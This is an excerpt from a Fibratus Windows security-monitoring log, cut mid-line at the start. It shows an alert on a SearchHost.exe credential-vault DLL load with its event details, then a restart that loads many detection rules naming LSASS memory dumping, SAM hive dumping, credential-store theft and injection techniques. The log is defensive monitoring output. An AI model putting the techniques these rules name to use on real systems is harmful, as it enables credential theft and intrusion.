Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:45:19+01:00 level=info msg=executing kill action: pids=[8204 16532] rule=Suspicious process execution from archive via shortuct file source=rules/engine.go:294 +time=2025-12-10T17:46:10+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 2419080 + Pid: 1160 + Tid: 1528 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:45:53.3084506 +0100 CET + Params: cmdline➜ "C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca, directory_table_base➜ 208c36000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffffc906588950c0, name➜ SearchHost.exe, pid➜ 4688, ppid➜ 1160, real_ppid➜ 1160, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:45:53.308365 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ LOW, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.seq.link: 10815394759607058432, tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Suspicious Vault client DLL load, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager + + Pid: 1160 + Ppid: 768 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 2455547 + Pid: 4688 + Tid: 1964 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 17:45:54.2989184 +0100 CET + Params: base_address➜ 7ffbdada0000, checksum➜ 356647, default_address➜ 7ffbdada0000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 4688, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.seq.link: 10815394759607058432, rule.name: Suspicious Vault client DLL load, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 4688 + Ppid: 1160 + Name: SearchHost.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe + Cwd: C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: LOW + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local\Packages\microsoftwindows.client.cbs_cw5n1h2txyewy\AC LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Packages\microsoftwindows.client.cbs_cw5n1h2txyewy\AC\Temp TMP:C:\Users\nedo\AppData\Local\Packages\microsoftwindows.client.cbs_cw5n1h2txyewy\AC\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS:--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26100.7171) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26100 IsWebView2/True (WebView2Version 142.0.3595.94)" --enable-features=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKGROUND_COLOR:00000000 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:49:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:49:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:49:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:51:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_suspicious_process_execution_from_archive_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:51:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-10T17:51:39+01:00 level=info msg=bootstrapping with pid 10732. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:51:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-net=>true enable-threadpool=>false flush-interval=>1s enable-audit-api=>true enable-vamap=>true enable-mem=>false enable-fileio=>true min-buffers=>16 enable-handle=>false stack-enrichment=>true enable-thread=>true max-buffers=>36 enable-registry=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 